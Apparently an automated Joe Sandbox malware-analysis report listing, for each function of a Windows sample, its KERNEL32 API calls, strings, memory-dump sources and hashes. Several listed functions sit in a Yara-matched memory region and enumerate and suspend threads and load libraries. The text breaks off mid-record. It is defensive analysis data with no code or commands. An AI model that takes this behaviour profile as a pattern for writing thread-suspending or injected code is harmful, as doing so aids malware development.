libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcryptprimitives.dll,00973F58,?,?,008F86C5,?,00000008,008F8789,?,?,008F632D,?,00000000,00000000,?,?), ref: 008F881C
GetProcAddress.KERNEL32(00000000,ProcessPrng), ref: 008F882C
TryAcquireSRWLockExclusive.KERNEL32(00973F50,?,?,008F8789,?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F8869
ReleaseSRWLockExclusive.KERNEL32(00973F50,?,008F8789,?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F88A8

Strings

ProcessPrng, xrefs: 008F8826
bcryptprimitives.dll, xrefs: 008F8817

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireAddressLibraryLoadProcRelease
String ID: ProcessPrng$bcryptprimitives.dll
API String ID: 969684755-2667675608
Opcode ID: db887bd1ecb76b79b92d7d71cf75e107b9dc149ea2956233fe9da44fd11e25a4
Instruction ID: 2c555b5a0658c30ca87696b0a8fc9a967fe26b88723c0fc0d99fd66428f86875
Opcode Fuzzy Hash: db887bd1ecb76b79b92d7d71cf75e107b9dc149ea2956233fe9da44fd11e25a4
Instruction Fuzzy Hash: 3311B922A24349AAEF242B76AC047763B65EB857D5F448468FB0CC3691DF118940B762

Function 0594049B Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 0594073E

Strings

Y`l=, xrefs: 05940593

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: Y`l=
API String ID: 2422867632-1320565934
Opcode ID: 4fa86a32f461900fe5a586c705bebe6e681269ae3503cb6bb8ff6d4332578549
Instruction ID: 55e904494f2d6d03d2a0cd1a941ccc1b12ac8189bb661377e4da73586f9106e7
Opcode Fuzzy Hash: 4fa86a32f461900fe5a586c705bebe6e681269ae3503cb6bb8ff6d4332578549
Instruction Fuzzy Hash: CB12C3B5E00219DBDB14CF98C994BADBBB2FF88304F2482A9D515AB385C7356E41CF94

Function 05940A5B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 05940B27

Strings

,, xrefs: 05940B73

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: 852276100dd12e9569efa234f1324dd6a790f00f93b0041b94faa4eacc633901
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 2C41B674A00209EFDB04CF98C994FAEB7B5BF48314F208598D5156B391D775AE41CF98

Function 00875190 Relevance: 1.5, APIs: 1, Instructions: 275memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(-D602D136,00061E67,-000000015DE352F6,?,?,?,?,43B659F5,?,?,-867C85AD,0094335A,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 0087548D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e6da48fdab385af7ad697bef644dd589734f6bef6d5b4f121b090722ff63d73
Instruction ID: 64ebccf535d4c7ba8ab6d8eef7fac9b10ef74eaf07090143b8f1447718d65c2d
Opcode Fuzzy Hash: 4e6da48fdab385af7ad697bef644dd589734f6bef6d5b4f121b090722ff63d73
Instruction Fuzzy Hash: AA8106BBD787244BA348EF3AAC5606A3272FBC0750341D52EE40BC7566CF3446867A87

Function 00875590 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008758D5

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap
API String ID: 0-1450471538
Opcode ID: c713178dea2bbc94ad85d39c6f82146899f3fc2ba597fb479d0152083a680c96
Instruction ID: 45ba0b302130d3052515e737a63dc77933c0778eccbaed58dd3bb339c5ad97be
Opcode Fuzzy Hash: c713178dea2bbc94ad85d39c6f82146899f3fc2ba597fb479d0152083a680c96
Instruction Fuzzy Hash: F7716B73D243244FA318EF7AAC4615A3532FBC0344786D13EE90ACB556DF714A82A6C2

Function 008753C0 Relevance: 1.4, APIs: 1, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(-D602D136,00061E67,-000000015DE352F6,?,?,?,?,43B659F5,?,?,-867C85AD,0094335A,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 0087548D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4a9db68ff3e791a548ac605e800859f0044178245034f92c99e573540c35d6fd
Instruction ID: 07cc37fb4dfa36f9675dd4d07b7f9051047f7db21bf75d85a5600a0935afec5a
Opcode Fuzzy Hash: 4a9db68ff3e791a548ac605e800859f0044178245034f92c99e573540c35d6fd
Instruction Fuzzy Hash: B3313677E683218FA74CEF39AC1655E3672FB85780341C11ED45B8B566CF340286BA86

Function 00875540 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb02173e4676d103eeec04b9601bbd3d17104dce51441f726fb763a7b0372bea
Instruction ID: d71873ad8d3d158bb0a54ca09e2f2d32b5b92a10645f9143aff337e748b2c2c4
Opcode Fuzzy Hash: cb02173e4676d103eeec04b9601bbd3d17104dce51441f726fb763a7b0372bea
Instruction Fuzzy Hash: 33816A73D643254FE358EF7AAC4615A3672FBC0344785C13EE94ACB456DF304A82A6C2

Function 008F5FB0 Relevance: 37.7, APIs: 30, Instructions: 173
sleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,00000000,?,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000), ref: 008F5FCA
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F5FE7
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6005
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6013
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6022
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F603C
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F604A
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6054
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F606E
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F607C
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6086
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60A4
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60B2
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60C0
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60DE
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60EC
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60FA
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6118
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6126
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6134
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6152
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6160
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F616E
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F618C
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F619A
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F61A8
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F61C6
VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F61D4
GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F61E2
Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6200

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AllocErrorLastSleepVirtual
String ID:
API String ID: 2288223010-0
Opcode ID: 0d06327de0ecb5ea6dcb9e6450919807fe3be375993fd709472d07e39047ea63
Instruction ID: 1c96bc254db2bba3be362c74b9ffdcc8534d18a638db5fd6e94cb72665b0989f
Opcode Fuzzy Hash: 0d06327de0ecb5ea6dcb9e6450919807fe3be375993fd709472d07e39047ea63
Instruction Fuzzy Hash: 2851313025960AEFDF251FB2DC0DA7A3B69FB41366F244528F70AD50A0EB318951EF51

Function 008F6210 Relevance: 16.8, APIs: 9, Strings: 2, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,008F495E,008F56C4,?,?,008F5F3D,00000002,00000000,?,?,00000000,?,?), ref: 008F621D

Strings

SetSystemPagesAccessInternal, xrefs: 008F62E7
page_allocator_internals_win.h, xrefs: 008F62E2

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FreeVirtual
String ID: SetSystemPagesAccessInternal$page_allocator_internals_win.h
API String ID: 1263568516-1640390853
Opcode ID: b715aa8ba6fb8c48004b5768ffecc4e745a35a9c19aeaccf151b9fa2bffd5346
Instruction ID: ed9d95f9ae49529209b1c2f073d649fb71037c7fd2234ddefc9376776e89e6d2
Opcode Fuzzy Hash: b715aa8ba6fb8c48004b5768ffecc4e745a35a9c19aeaccf151b9fa2bffd5346
Instruction Fuzzy Hash: FCA1E571A0820DEBEB189B79DC55B3A7369FB50309F144229F70ADB2C1FA34DD209B95

Function 008F6310 Relevance: 11.6, APIs: 9, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008F8780: GetCurrentProcess.KERNEL32(?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F8795
Part of subcall function 008F8780: IsWow64Process.KERNEL32(00000000,00963608,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F87A1

Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,00000000,?,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000), ref: 008F5FCA
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F5FE7

VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?), ref: 008F63B2

Part of subcall function 008F5FB0: Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6005
Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6013
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6022
Part of subcall function 008F5FB0: Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F603C
Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F604A
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6054
Part of subcall function 008F5FB0: Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F606E
Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F607C
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6086
Part of subcall function 008F5FB0: Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60A4
Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60B2
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60C0
Part of subcall function 008F5FB0: Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60DE
Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60EC
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F60FA
Part of subcall function 008F5FB0: Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6118
Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6126
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6134
Part of subcall function 008F5FB0: Sleep.KERNEL32(00000032,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6152
Part of subcall function 008F5FB0: VirtualAlloc.KERNEL32(00002000,00000000,00000000,008F6386,?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F6160
Part of subcall function 008F5FB0: GetLastError.KERNEL32(?,008F6386,00000000,00000000,00002000,00000001,?,00000000,00000000,?,?,?), ref: 008F616E

GetLastError.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,?), ref: 008F63D1
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 008F6549
GetLastError.KERNEL32 ref: 008F65D7
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 008F645E

Part of subcall function 00931AD0: TryAcquireSRWLockExclusive.KERNEL32(00972AD0,00000000,00000000,00000000,?,008F6626,?,?,?,?,?,00000000,00000000,?,?,?), ref: 00931ADB
Part of subcall function 00931AD0: VirtualFree.KERNEL32(00000000,00000000,00008000,?,008F6626,?,?,?,?,?,00000000,00000000,?,?,?), ref: 00931B07
Part of subcall function 00931AD0: ReleaseSRWLockExclusive.KERNEL32(00972AD0,?,008F6626,?,?,?,?,?,00000000,00000000,?,?,?), ref: 00931B2E

GetLastError.KERNEL32 ref: 008F647B
GetLastError.KERNEL32 ref: 008F649D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 008F65F1
VirtualFree.KERNEL32(00000000,00000040,00004000), ref: 008F6776

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLastVirtual$Alloc$Sleep$Free$ExclusiveLockProcess$AcquireCurrentReleaseWow64
String ID:
API String ID: 264247703-0
Opcode ID: 18e3dd91e0a0fc20d94d6b02e21c215f6e444be51b1160288adc42477072713b
Instruction ID: 7953b99f2fbbc8f8e9383fbd5ec51bf9792d5278fd0f0bb5954f16e8628cc709
Opcode Fuzzy Hash: 18e3dd91e0a0fc20d94d6b02e21c215f6e444be51b1160288adc42477072713b
Instruction Fuzzy Hash: 2BB1F471A1820EDBEB189F39DC55B3A7369FB50309F144229FB06DB281FA34DD209B95

Function 008F4FB0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 008F4FCC

Strings

span, xrefs: 008F5C47
size, xrefs: 008F5C23
span, xrefs: 008F5C17
first, xrefs: 008F592D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __aulldiv
String ID: first$size$span$span
API String ID: 3732870572-3774232114
Opcode ID: 37cd1447138b38f206c2d3c7681c37284500a5bf9bc6a080b0c13de6369c2e5d
Instruction ID: b6c866705dde0453f64be5db7c1979ab1d1bdc73b4b88f9097ec8f379c15fa12
Opcode Fuzzy Hash: 37cd1447138b38f206c2d3c7681c37284500a5bf9bc6a080b0c13de6369c2e5d
Instruction Fuzzy Hash: 9721F6B2D01A194FC706CF36C851366BBA9FFD5390F108726ED54E3750E73199928AD0

Function 05940BAB Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,059406F1,?,00000001,?,81EC8B55,000000FF), ref: 05940BE9
Thread32First.KERNEL32(00000000,0000001C), ref: 05940C15
Wow64SuspendThread.KERNEL32(00000000), ref: 05940C68
FindCloseChangeNotification.KERNEL32(00000000), ref: 05940C92
FindCloseChangeNotification.KERNEL32(00000000), ref: 05940CC6

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification$CreateFirstSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1145194703-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 254e131e8ba34e2c8f1993887f5cfe126505313bcfc9ff6bed80890aa4aab814
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: D541D975A04108EFDB18DF98C894FADB7FAEF88300F108168E6159F794DA34AE45CB94

Function 059A1705 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 059A1797

Strings

.dll, xrefs: 059A173C

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

